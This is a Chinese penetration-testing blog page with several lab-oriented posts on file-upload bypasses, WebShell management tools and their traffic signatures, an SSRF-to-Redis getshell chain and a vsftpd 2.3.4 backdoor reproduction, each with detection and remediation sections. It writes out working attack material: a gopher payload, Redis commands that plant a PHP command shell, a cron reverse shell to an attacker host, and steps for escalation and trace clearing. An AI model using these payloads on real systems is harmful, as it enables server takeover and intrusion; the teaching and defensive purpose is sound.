WebShell on SoulJian小站

渗透思路：上传按钮

Sun, 30 Aug 2026 00:00:00 +0800

写在前面：合法学习边界

上传测试只用于授权靶场。对真实系统上传木马可能触犯法律。

一、上传为什么危险

文件上传一旦能落地可执行目录，就等于给攻击者“放进去一个后门”。测试核心是“文件能不能传上去、能不能访问、能不能执行”。

二、思路清单

1. 前端校验绕过

1
2


直接改包（绕过 JS 限制）
删掉前端限制后重放

2. MIME / Content-Type 绕过

1
2


改 Content-Type 为 image/png 等
服务端若只看 MIME，可绕过

3. 扩展名校验绕过

1
2
3
4
5


双扩展：shell.php.jpg、shell.jpg.php
大小写：.PhP、.JSP
特殊后缀：.php3、.phtml、.php5、.jspx、.war、.asp
加空格/点/换行：shell.php 、shell.php.
配合服务器解析差异

4. 内容/文件头校验绕过

1
2


在文件头加图片魔数：GIF89a / \xFF\xD8\xFF
文件内容里夹一句话（图片马）

5. 解析漏洞

1
2
3
4


nginx 解析：/shell.jpg/x.php → 以 PHP 解析
Apache 多后缀解析
IIS 分号/畸形解析
中间件版本决定能否利用

6. 配合文件包含 / 其他

1
2
3
4


上传图片马 → 配合文件包含执行
上传 .htaccess / .user.ini 改解析规则
上传 XML → XXE
上传压缩包 → 解压路径穿越

7. 上传后路径探测

1
2
3


找上传文件真实路径（时间戳/随机名？）
目录探测：/upload/、/files/
访问确认是否能执行

三、优先级

1
2
3


先测能不能绕过上传限制（前端→MIME→扩展名→内容）
再判断服务器解析（解析漏洞）
最后配合文件包含/htaccess 打通执行

四、小结

上传测试的核心是“文件能不能落到可执行位置并被触发”。一条条过：前端、MIME、扩展名、内容、解析、配合。每个站点环境不同（中间件/语言），对应的绕过方式也不同，抓包 + 探测真实路径是关键。

WebShell 流量特征分析：蚁剑 / 菜刀 / 哥斯拉 / 冰蝎

Sat, 29 Aug 2026 17:10:00 +0800

写在前面：合法学习边界

本文从蓝队/检测视角分析 WebShell 工具流量特征。掌握特征用于防守与授权测试，禁止用于入侵真实系统。

一、为什么看流量

WebShell 上线后，管理工具会持续与服务器通信。无论流量加密与否，都会留下可识别的指纹。蓝队通过流量特征能在工具连接阶段就发现 Webshell，而不是等文件扫描。

二、菜刀（CaiDao）特征

老一代工具，明文传输，特征最明显：

1
2
3
4


请求体含 eval / assert / base64_decode / create_function
固定一句话结构：@$_POST['密码']
明文 base64 编码的命令与结果
Content-Length 较固定、UA 常为默认浏览器 UA

检测要点：

1
2


抓包找 base64 + eval/assert 组合
特征字符串：@eval、@assert、@$_POST、base64_decode

三、蚁剑（AntSword）特征

新一代，流量做了混淆，但仍有特征：

1
2
3
4


默认 UA 含 antSword（可改）
请求体常见 @ini_set("display_errors","0") 开头
固定结构：@ini_set 系列 + eval/assert 执行
PHP 版本响应含 phpinfo/函数特征

检测要点：

1
2
3


UA 命中 antSword
请求体出现 @ini_set("display_errors" ... 固定载荷
配合 eval/assert 关键字组合命中

四、冰蝎（Behinder）特征

AES 加密流量，但加密前有固定结构：

1
2
3
4
5


默认密钥 3cb8b8f1e0f9d4c9... 可被识别
请求为固定 AES 密文（base64）
Content-Length 相对固定
UA 常用 Mozilla/5.0 默认、连接特征稳定
服务端脚本固定：@session_start + 解密执行

检测要点：

1
2
3


流量解密（用默认密钥）后还原命令
密文长度/固定 base64 特征
尝试用默认密钥字典解 rememberMe/密文

五、哥斯拉（Godzilla）特征

Java 编写，多语言，加密但结构固定：

1
2
3
4


payload 固定特征字符串（如特定密钥串/开头）
握手与响应密文长度固定
默认密钥在生成时写入脚本
请求带固定参数结构与固定密文

检测要点：

1
2
3


特征字符串扫描（流量 + 文件）
密文长度/结构指纹
解密验证（默认密钥）

六、通用检测方法

1
2
3
4
5


1. 特征库：UA、固定载荷、关键字（eval/assert/base64_decode/@ini_set）
2. 加密流量：用默认密钥解密还原
3. 行为分析：异常高频请求、固定间隔回连
4. 文件侧：扫描特征脚本与内存马
5. 日志侧：可疑上传 + 持续访问单个脚本

七、检测与防御（落地）

1
2
3
4


部署 WAF/流量审计，加载四类工具特征规则
对上传目录重点监控
EDR 检测内存马与进程行为
定期解密流量样本复核

八、小结

四类工具从“明文（菜刀）”到“加密（冰蝎/哥斯拉）”，趋势是越来越隐蔽，但默认特征始终存在。蓝队的核心是把特征库 + 解密 + 行为分析结合起来，才能在不同加密程度下都识别 Webshell。

冰蝎与哥斯拉：WebShell 管理实战

Sat, 29 Aug 2026 16:50:00 +0800

写在前面：合法学习边界

冰蝎/哥斯拉仅用于授权测试。上传 WebShell 属于高风险行为，禁止在非授权系统使用。

一、工具定位

WebShell 一旦被上传，就需要一个“管理端”来连接和操作。冰蝎与哥斯拉是两类主流工具：

1
2


冰蝎（Behinder）：PHP/JSP/ASP 等，流量 AES 加密
哥斯拉（Godzilla）：Java 编写，多语言支持，功能更全

它们的特点是流量加密、行为隐蔽，常用于绕过 WAF 和日志检测。

二、冰蝎使用

生成服务端脚本

1
2
3


客户端选择目标语言（PHP/JSP/ASP）
生成 webshell.php（内置 AES 密钥）
上传到目标 Web 目录

连接

1
2
3


URL 填 shell 地址
密码填生成时的连接密码
默认密钥 3cb8b8f1e0f9d4c9... 可改

功能

1
2
3
4


命令执行
文件管理
数据库管理
反弹 Shell

细节与特征（务必注意）

1
2
3
4


默认密钥固定 → 安全设备可识别
请求特征：固定 Content-Length、特殊 UA、AES 加密密文
冰蝎 4.0 默认密钥特征明显
改密钥/加流量伪装可降低特征，但仍是检测重点

三、哥斯拉使用

生成 Payload

1
2
3


生成模式选 Java（或 PHP/ASPX）
输出一个脚本文件（如 shell.jsp）
上传到目标

连接

1
2


URL + 密钥 + Payload 类型
支持 Fofa 批量扫描在线管理

功能

1
2
3
4


命令执行、虚拟终端
文件管理、数据库
内存马、免杀拓展
Socks 代理

细节与特征

1
2
3


哥斯拉 payload 默认特征（固定开头/密钥串）
流量加密但握手与结构可被识别
常用检测：流量特征 + 内存特征 + 文件特征

四、实战流程（授权环境）

1
2
3
4


1. 通过漏洞拿到上传点/写入点
2. 上传 shell（用冰蝎/哥斯拉生成）
3. 管理端连接、确认命令执行
4. 提权、横向、清理痕迹

影响与风险

WebShell 一旦被管理工具接管：

1
2
3


服务器被持续远程控制
数据窃取、内网横向
被用于挖矿、勒索、架设跳板

风险等级：严重。加密流量让它在日志里更难被发现。

完整操作步骤

1
2
3
4
5


第 1 步：通过漏洞拿到上传/写入点
第 2 步：用冰蝎/哥斯拉生成对应语言 shell
第 3 步：上传并在管理端连接、确认执行
第 4 步：改密钥/流量伪装降低特征
第 5 步：提权、横向、清理痕迹

五、检测（对立面）

1
2
3
4
5


特征密钥/密文/UA/Content-Length 指纹
Web 目录非常规文件扫描
流量解密识别（解密后看命令）
EDR 内存马检测
日志中可疑上传与异常访问

六、防御与清理

1
2
3
4


上传校验 + 目录不可执行 + WAF
定期扫描 WebShell 特征
发现后：取证 → 隔离 → 清理 → 追入侵链路
对被杀进程/内存马做专项清理

修复

1
2
3
4
5


发现后先取证，保留现场再清理
删除 WebShell 文件并排查同目录异常文件
清理内存马与相关进程
追查上传入口，修复对应漏洞
复测：文件与内存特征均消失

七、小结

冰蝎/哥斯拉把 WebShell 从“能执行”变成“好管理”，核心价值是流量加密与功能集成。但默认特征可被识别，攻防焦点就在特征上。使用时先确认授权，防御时重点抓“默认密钥+流量指纹+内存特征”。

漏洞联动：SSRF 打内网 Redis 未授权 Getshell

Sat, 29 Aug 2026 13:10:00 +0800

写在前面：合法学习边界

本联动利用只在自建靶场与授权内网进行。SSRF 打内网属于高风险行为，禁止对真实系统使用。

一、漏洞原理：为什么 SSRF 和 Redis 未授权能串联

单个漏洞单看：

1
2


SSRF：服务器能帮攻击者访问任意地址（包括内网）
Redis 未授权：6379 端口无认证，任何人都能执行命令

串联起来：

1
2
3
4


1. SSRF 让 Web 服务器访问内网 127.0.0.1:6379
2. Redis 未授权 → 执行任意命令
3. CONFIG SET dir/dbfilename 把 Redis 数据写进文件
4. 写入 crontab / WebShell / SSH Key → Getshell

关键点：SSRF 提供了“进入内网的路”，Redis 未授权提供了“执行入口”，两者缺一不可。

二、影响与危害

1
2
3


内网 Web 服务器被 Getshell
写入计划任务/SSH Key 实现持久控制
进一步横向移动整个内网

风险等级：SSRF + Redis 未授权 = 严重，几乎是打内网的经典突破口。

三、利用 / 复现

场景

靶场里有一个“URL 预览/图片代理”功能存在 SSRF；内网有一台 Redis 未授权监听 6379。

第一步：验证 SSRF 能访问内网

1
2
3


# 预览接口
http://127.0.0.1:6379
http://10.0.0.5:6379

如果响应异常/超时表现不同，说明能触达内网端口。

第二步：向 Redis 发送协议数据

利用 gopher 协议把 Redis 命令打进去（授权环境演示）：

1

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a

再构造写文件命令：

1
2
3
4


CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['c']);?>"
SAVE

或用 crontab 反弹：

1
2
3
4


CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET x "\n* * * * * bash -i >& /dev/tcp/攻击机/4444 0>&1\n"
SAVE

用 Python 生成 gopher 编码后，拼进 SSRF 请求即可。

第三步：结果验证

1
2


访问 shell.php?c=id 返回命令结果
或攻击机 4444 端口收到反弹 Shell

四、检测

1
2
3
4


日志中 SSRF 请求目标是 6379、22、80 等内网端口
存在 gopher://、dict:// 等非常规协议
请求中出现 Redis 命令关键字（CONFIG、SAVE、FLUSHALL）
Web 目录出现非业务文件、crontab 异常

五、防御

1
2
3


SSRF 侧：URL 白名单、禁内网地址、禁重定向、禁非常规协议
Redis 侧：requirepass + ACL + bind 内网/本机
网络侧：Web 与 Redis 网络隔离，最小暴露

六、修复

1
2
3
4


修复 SSRF：白名单 + 禁内网段（127/10/172.16/192.168/169.254）+ 禁 gopher/dict
修复 Redis：设置强密码、绑定地址、禁用 CONFIG/危险命令
清理已写入的 crontab / WebShell / SSH Key，做取证
修复后复测：SSRF 无法触达 Redis，Redis 无密码不可访问

七、小结

SSRF + Redis 未授权是典型的“跨层漏洞链”：一个 Web 层的 SSRF，配上内网组件的未授权，直接变成服务器控制。看漏洞不能只看单点，要把“入口 + 跳板 + 目标”连成一条链来评估。

文件上传漏洞与 WebShell 原理

Sat, 29 Aug 2026 05:05:00 +0800

写在前面：合法学习边界

本文讲解文件上传漏洞与 WebShell 原理。请不要在真实网站上传木马、绕过上传限制或获取未授权访问。所有测试都应在自建靶场、授权测试环境或明确授权目标上完成。WebShell 属于高风险行为，未经授权上传或执行可能涉及违法犯罪。

一、文件上传漏洞的本质

文件上传漏洞的本质是：系统允许用户上传文件，但没有正确限制文件类型、存储位置、访问路径或执行条件，最终导致恶意文件被保存并能被执行。

它通常包含几个条件：

1
2
3
4
5


上传入口存在
限制可以绕过
文件被保存到 Web 可访问目录
服务器可以解析并执行该文件
攻击者知道访问路径

二、常见绕过点

1. MIME 类型检查

有些系统只检查 Content-Type。修改请求头可能会绕过前端或简单后端检查。

2. 文件扩展名校验

只检查最后扩展名时，某些 Web 服务器可能仍能解析双扩展名、特殊后缀或不常见后缀。

3. 黑名单不完整

黑名单容易遗漏：

1
2
3
4
5
6
7
8
9


php
jsp
jspx
war
asp
aspx
ashx
php3
phtml

4. 上传目录可执行

如果上传文件放在 Web 根目录，并且 PHP/JSP/ASP 能解析，风险会更高。

5. 文件名处理不当

例如保存时使用原文件名，可能带来路径穿越、覆盖或执行风险。

三、WebShell 是什么

WebShell 是可以通过 Web 访问执行的脚本文件。它通常被上传到 Web 目录后，由 Web 服务解释执行。

常见类型：

1
2
3


PHP WebShell
JSP WebShell
ASP WebShell

学习时必须强调：WebShell 不是学习工具，而是攻击后果。真实工作中，发现 WebShell 应立即保留证据、隔离系统、清理后门、分析入侵链路。

四、WebShell 的典型行为

1
2
3
4
5
6


执行命令
读写文件
上传下载文件
创建反弹 Shell
查看数据库
修改配置

因此在应急响应中，发现 WebShell 后不能只删除文件，还要追查：

1
2
3
4
5


谁上传的
从哪里进入
是否已有后门
是否修改计划任务
是否横向移动

影响与危害

文件上传漏洞能造成：

1
2
3
4


上传 WebShell → 服务器沦陷
任意文件写入
存储型 XSS
整站被控制、内网横向

风险等级：高到严重。

五、防御清单

1. 白名单文件类型

只允许真正需要的扩展名，例如：

1
2
3
4
5
6


jpg
png
gif
pdf
docx
xlsx

2. 限制存储位置

上传文件不要放在可执行目录，最好放到对象存储或专门静态资源目录。

3. 重命名文件

不要使用用户原始文件名作为存储文件名。

4. 设置目录不可执行

如果上传目录只需要静态访问，就不要允许脚本执行。

5. WAF 和日志审计

监控上传频率、异常扩展名、异常文件名、异常响应和 WebShell 特征。

修复

1
2
3
4
5


服务端校验扩展名/MIME/文件内容（魔数）
上传目录禁止执行脚本
随机化文件名、限制目录
部署 WAF 并限制上传大小
修复后复测：绕过 payload 不再上传成功

验证操作步骤

1
2
3
4


第 1 步：抓上传请求，改 Content-Type/扩展名
第 2 步：双扩展/大小写/特殊后缀试绕过
第 3 步：上传后探测文件真实路径能否访问/执行
第 4 步：能执行即确认（配合 WebShell，授权内）

六、报告写法

示例：

1
2
3


发现：上传接口允许 .php 文件进入可执行目录，访问路径可触发脚本执行。
风险：可能导致服务器控制、数据泄露、横向移动和后门驻留。
建议：改为白名单类型；上传目录与执行目录分离；强制重命名；增加 WAF 与日志告警；排查是否已有 WebShell。

七、小结

文件上传漏洞的关键是“文件能不能落地、能不能访问、能不能执行”。WebShell 是上传漏洞被利用后的结果。学习时要理解边界，而不是把命令当成目标。

FTP笑脸漏洞复现

Mon, 21 Apr 2025 12:59:27 +0800

实验笔记：vsftpd 2.3.4 笑脸漏洞复现

实验目标

复现 vsftpd 2.3.4 的"笑脸漏洞"，通过该漏洞获取靶机的 root 权限。

实验环境

攻击机：Kali Linux
靶机：Metasploitable Linux 2.0.0

实验步骤

一、环境搭建

下载并启动靶机
- 下载 Metasploitable Linux 2.0.0 镜像文件。
- 解压后使用 VMware 打开并启动虚拟机。
登录靶机并修改 root 密码
- 使用普通用户 msfadmin 登录，密码为 msfadmin。
- 修改 root 用户的密码：
  1
  
  msfadmin@metasploitable:~$ sudo passwd root
- 按提示输入新密码。

二、漏洞复现

端口扫描
- 在 Kali Linux 上打开终端，使用 nmap 扫描靶机的开放端口：
  1
  
  nmap 192.168.xx.xx
  （将 192.168.xx.xx 替换为靶机的实际 IP 地址）
- 确认靶机开放了 21 (FTP) 端口。
扫描 FTP 服务版本
- 使用 nmap 扫描 FTP 服务的版本信息：
  1
  
  nmap -sV 192.168.xx.xx
  确认靶机运行的是 vsftpd 2.3.4 版本。
触发漏洞
- 在 Kali Linux 上使用 Netcat (nc) 连接靶机的 21 端口：
  1
  
  nc 192.168.xx.xx 21
- 输入以下命令（注意手动输入）：
  1 2
  
  user mz:) pass aaaaa
- 此时靶机的 6200 端口会自动开启。保持当前终端状态，不要关闭。
验证 6200 端口
- 在 Kali Linux 上另起一个终端，使用 nmap 扫描 6200 端口：
  1
  
  sudo nmap -sS -p 6200 192.168.xx.xx
  确认 6200 端口已开启。
获取 root 权限
- 使用 Netcat 连接靶机的 6200 端口：
  1
  
  nc 192.168.xx.xx 6200
- 成功连接后，即可以 root 身份登录靶机。
- 注意：连接后执行ls查看是都已经进去半终端
- 确认进入半终端可执行python -c ‘import pty;pty.spawn("/bin/bash")’ 调用完整终端

三、实验注意事项

如果在实验过程中遇到问题，可以尝试重启靶机。
确保在触发漏洞后保持 Netcat 连接状态，否则 6200 端口可能会关闭。

影响与危害

FTP 笑脸漏洞能造成：

1
2
3
4


未授权执行命令
获取 root 权限
服务器被直接控制
作为内网横向跳板

风险等级：高到严重。触发条件简单（用户名带 :) 即可），一旦暴露到公网极易被批量扫描利用。

修复

1
2
3
4


升级 vsftpd 到 2.3.5 及之后版本
用防火墙/安全组限制 FTP(21) 暴露范围
监控 FTP 服务版本与异常登录
修复后复测：笑脸用户名不再触发 6200 后门

实验总结： 本次实验通过 vsftpd 2.3.4 的"笑脸漏洞"，成功获取了靶机的 root 权限。实验过程中，关键在于正确触发漏洞并保持 Netcat 连接状态，以确保后续操作的顺利进行。